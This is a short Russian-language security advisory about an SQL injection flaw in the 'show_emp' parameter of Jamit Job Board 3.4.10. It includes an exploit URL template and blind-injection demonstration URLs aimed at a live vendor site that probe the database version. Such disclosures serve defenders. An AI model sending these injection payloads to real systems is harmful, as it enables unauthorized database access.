Программа: Jamit Job Board 3.4.10
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «show_emp» сценарием index.php. Удаленный
пользователь может с помощью специально сформированного запроса выполнить
произвольные SQL команды в базе данных приложения.
Эксплоит:
http://www.example.com/index.php?show_emp=[sql]
Демонстрация:
http://www.jamit.com/jobs/index.php?show_emp=1%20and%20substring(@@version,1,1)=4
[NO°°]
http://www.jamit.com/jobs/index.php?show_emp=1%20and%20substring(@@version,1,1)=5
[y&$]
